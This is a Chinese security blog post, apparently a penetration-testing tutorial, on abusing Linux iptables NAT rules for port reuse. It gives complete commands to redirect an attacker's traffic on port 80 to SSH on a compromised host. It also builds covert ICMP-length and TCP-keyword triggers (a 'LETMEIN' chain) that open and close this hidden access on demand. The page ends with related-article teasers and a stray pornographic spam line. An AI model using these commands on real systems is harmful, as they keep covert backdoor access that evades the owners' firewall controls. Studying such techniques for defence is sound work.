<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Linux利用iptables做端口復用

    VSole2022-01-09 07:47:04

    iptables基礎

    我們自定義的所有規則,都是這四種分類中的規則,或者說,所有規則都存在于這4張”表”中

    #1 主動

    包含4個表:4個表的優先級由高到低:raw-->mangle-->nat-->filter

    #1.1 raw

    RAW表只使用在PREROUTING鏈和OUTPUT鏈上,因為優先級最高,從而可以對收到的數據包在連接跟蹤前進行處理。一但用戶使用了RAW表,在某個鏈上,RAW表處理完后,將跳過NAT表和ip_conntrack處理,即不再做地址轉換和數據包的鏈接跟蹤處理了

    #1.2 mangle

    此規則表擁有prerouting、FORWARD、postrouting三個規則鏈,除了進行網址轉譯工作會改寫封包外,在某些特殊應用可能也必須去改寫封包(ITL、TOS)或者是設定MARK(將封包作記號,以進行后續的過濾)這時就必須將這些工作定義在mangles規則表中

    #1.3 nat

    此規則表擁有prerouting和postrouting兩個規則鏈, 主要功能為進行一對一、一對多、多對多等網址轉譯工作(SNATDNAT)

    #1.4 filter

    這個規則表是預設規則表,擁有 INPUT、FORWARD 和 OUTPUT 三個規則鏈;負責過濾功能,防火墻;內核模塊:iptables_filter

    #2 常用命令和參數

    舉例:iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --dport 80 -j REDIRECT --to-port 22
    
    常用命令:-A 追加規則-->iptables -A INPUT
    -D 刪除規則-->iptables -D INPUT 1(編號)
    -R 修改規則-->iptables -R INPUT 1 -s 192.168.12.0 -j DROP 取代現行規則,順序不變(1是位置)
    -I 插入規則-->iptables -I INPUT 1 --dport 80 -j ACCEPT 插入一條規則,原本位置上的規則將會往后移動一個順位
    -L 查看規則-->iptables -L INPUT 列出規則鏈中的所有規則
    -N 新的規則-->iptables -N allowed 定義新的規則
    -t 指定nat就看nat表信息,不用-t 默認filter表
    -n 使輸出中的IP地址和端口以數值的形式顯示
    -V 輸出詳細化
    --line 顯示出每條規則在相應鏈中的序號
    通用參數:-p 協議  例:iptables -A INPUT -p tcp
    -s源地址 例:iptables -A INPUT -s 192.168.1.1
    -d目的地址 例:iptables -A INPUT -d 192.168.12.1
    -sport源端口 例:iptables -A INPUT -p tcp --sport 22
    -dport目的端口 例:iptables -A INPUT -p tcp --dport 22
    -i指定入口網卡 例:iptables -A INPUT -i eth0
    -o指定出口網卡 例:iptables -A FORWARD -o eth0
    

    #2.1 舉例

    iptables -t nat -nL --line
    

    注釋:

    PREROUTING鏈:PREROUTING鏈的作用是在包剛剛到達防火墻時改變它的目的地址,是從外部連接過來時的轉發

    OUTPUT鏈:OUTPUT鏈改變本地產生的包的目的地址,是本機連接時的轉發

    POSTROUTING鏈:POSTROUTING鏈在包就要離開防火墻之前改變其源地址

    利用情況

    在做滲透測試的過程中,我們經常會遇到下面這種問題:

    目標主機是Linux系統,目標主機防火墻有嚴格的限制,只允許80端口的流量進入。我們拿到了目標主機的Webshell并且拿到了SSH的賬號密碼,但因為防火墻限制不能連接22端口,這時就需要利用80端口做端口復用連接。

    現在我們的思路就是利用Linux的iptables防火墻的nat表的PREROUTING 鏈做端口復用,因為nat 表的 PREROUTING 鏈會在路由決策之前被處理

    實際利用

    Kali:192.168.152.250

    目標機:192.168.152.135

    #1 根據源地址做端口復用

    #1.1目標機執行以下命令

    iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --dport 80 -j REDIRECT --to-port 22 //將192.168.152.250訪問80端口的流量都重定向到22端口
    iptables -t nat -nvL //查看規則
    

    #1.2kali上執行命令



    ssh -p 80 root@192.168.152.135
    

    #1.3缺點

    訪問目標主機80端口的流量都會被轉給22端口,所以HTTP服務無法訪問

    #2 根據源地址做端口復用

    #2.1目標機執行以下命令

    iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --sport 5555 --dport 80 -j REDIRECT --to-port 22 //指定來自192.168.152.250主機的5555端口訪問80端口的流量才會被轉給22端口 
    iptables -t nat -nvL
    


    #2.2kali上執行命令

    用socat將本地4444端口的流量以源端口5555訪問192.168.152.135:80,然后SSH本地的4444端口即可

    nohup socat tcp-listen:4444,fork,reuseaddr tcp:192.168.152.135:80,sourceport=5555,reuseaddr
    

    ssh -p 4444 root@127.0.0.1
    

    #2.3缺點

    不支持多連接 如果想創建兩個 SSH 連接就會出錯,因為本地的 5555 端口已經被第一個 SSH 連接占用了

    #3 利用ICMP協議做遙控開關

    #3.1創建端口復用鏈及規則

    iptables -t nat -N LETMEIN //創建端口復用鏈 
    iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 //創建端口復用規則,將流量轉發至 22 端口 
    iptables -t nat -nvL
    

    #3.2創建開關

    iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1028 -m recent --set --name letmein --rsource -j ACCEPT //開啟開關,如果接收到一個長為 1139 的 ICMP 包,則將來源 IP 添加到加為letmein的列表中 
    iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1029 -m recent --name letmein --remove -j ACCEPT //關閉開關,如果接收到一個長為 1140 的 ICMP 包,則將來源 IP 從 letmein 列表中去掉 
    iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN //如果發現 SYN 包的來源 IP 處于 letmein 列表中,將跳轉到 LETMEIN 鏈進行處理,有效時間為 3600 秒
    

    #3.3kali上執行命令

    開啟復用

    ping -c 1 -s 1000 192.168.152.135 //向目標發送一個長度為 1000 的 ICMP 數據包(加上包頭28,總長度實際為1028,對應上上面設置的開啟長度1028)
    

    關閉復用

    ping -c 1 -s 1001 192.168.152.135 //向目標發送一個長度為 1001 的 ICMP 數據包(加上包頭28,總長度實際為1029,對應上上面設置的關閉長度1029)
    

    #3.4缺點

    如果目標在內網,你是無法直接 ping 到它的

    #4 利用TCP協議做遙控開關

    利用 tcp 數據包中的關鍵字做遙控開關,不怕目標在內網

    #4.1創建端口復用鏈及規則

    iptables -t nat -N LETMEIN //創建端口復用鏈
    iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 //創建端口復用規則,將流量轉發至 22 端口 
    iptables -t nat -nvL
    

    #4.2創建開關

    iptables -A INPUT -p tcp -m string --string 'go' --algo bm -m recent --set --name letmein --rsource -j ACCEPT //開啟開關,如果接收到一個含有 go 的TCP包,則將來源 IP 添加到加為letmein的列表中 
    iptables -A INPUT -p tcp -m string --string 'out' --algo bm -m recent --name letmein --remove -j ACCEPT //關閉開關,如果接收到一個含有 out 的TCP包,則將來源 IP 從letmein的列表中移除 
    iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN //如果發現 SYN 包的來源 IP 處于 letmein 列表中,將跳轉到 LETMEIN 鏈進行處理,有效時間為 3600 秒
    

    #4.3kali上執行命令

    開啟復用

    echo go | socat - tcp:192.168.152.135:80
    

    關閉復用

    echo out | socat - tcp:192.168.152.135:80
    

    端口轉發iptables
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    隧道與端口轉發
    2021-11-18 08:26:13
    如果想獲得課程報名資格,請添加文末小助手微信咨詢。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站協議。情況1:目標禁止出站ip如果目標主機設置了嚴格的策略,防火墻只允許目標內網機器主動連接公網指定的ip。這樣的話,沒法反彈shell。情況2:禁止出站端口Linux系統使用Linux系統自帶命令探測出網端口
    ?iptables由上而下,由Tables,Chains,Rules組成
    NAT穿透是如何工作的
    2022-08-11 06:32:23
    整個過程對雙方透明。本文接下來都將關注在 UDP 上。對收發包的 socket 有直接控制權。例如,從經驗上來說,無法基于某個現有的網絡庫實現 NAT 穿透,因為我們 必須在使用的“主要”協議之外,發送和接收額外的數據包。某些協議將 NAT 穿透與其他部分緊密集成。
    藍隊初級防護總結
    2023-01-09 10:11:55
    三. 網站被上傳webshell如何處理?工具方面比如使用D盾webshellkill,河馬webshell查殺,百度在線webshell查殺等工具對網站目錄進行排查查殺,如果是在護網期間可以將樣本備份再進行查殺。堡壘機是針對內部運維人員的運維安全審計系統。WAFWAF是以網站或應用系統為核心的安全產品,通過對HTTP或HTTPS的Web攻擊行為進行分析并攔截,有效的降低網站安全風險。
    堡壘機是針對內部運維人員的運維安全審計系統。WAFWAF是以網站或應用系統為核心的安全產品,通過對HTTP或HTTPS的Web攻擊行為進行分析并攔截,有效的降低網站安全風險。設置賬戶鎖定策略,比如說登錄行為限制次數,達到次數后鎖定多長時間。
    大多數計算機系統設計為可與多個用戶一起使用。特權是指允許用戶執行的操作。普通特權包括查看和編輯文件或修改系統文件。特權升級意味著用戶獲得他們無權獲得的特權。這些特權可用于刪除文件,查看私人信息或安裝不需要的程序,例如病毒。
    一文吃透 Linux 提權
    2021-10-23 07:09:32
    特權升級意味著用戶獲得他們無權獲得的特權。通常,當系統存在允許繞過安全性的錯誤或對使用方法的設計假設存在缺陷時,通常會發生這種情況。結果是,具有比應用程序開發人員或系統管理員想要的特權更多的應用程序可以執行未經授權的操作。
    iptable使用詳解
    2022-12-09 09:10:52
    而放入內核的地方必須要是特定的位置,必須是tcp/ip的協議棧經過的地方。這五個位置被稱為五個鉤子函數,也叫五個規則鏈。這是NetFilter規定的五個規則鏈,任何一個數據包,只要經過本機,必將經過這五個鏈中的其中一個鏈。為了讓這些功能交替工作,制定出了“表”這個定義,來定義、區分各種不同的工作功能和處理方式。
    遠程桌面對了解內網滲透的人來說可能再熟悉不過了。在滲透測試中,拿下一臺主機后有時候會選擇開 3389 進遠程桌面查看一下對方主機內有無一些有價值的東西可以利用。但是遠程桌面的利用不僅如此,本節我們便來初步匯總一下遠程桌面在內網滲透中的各種利用姿勢。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类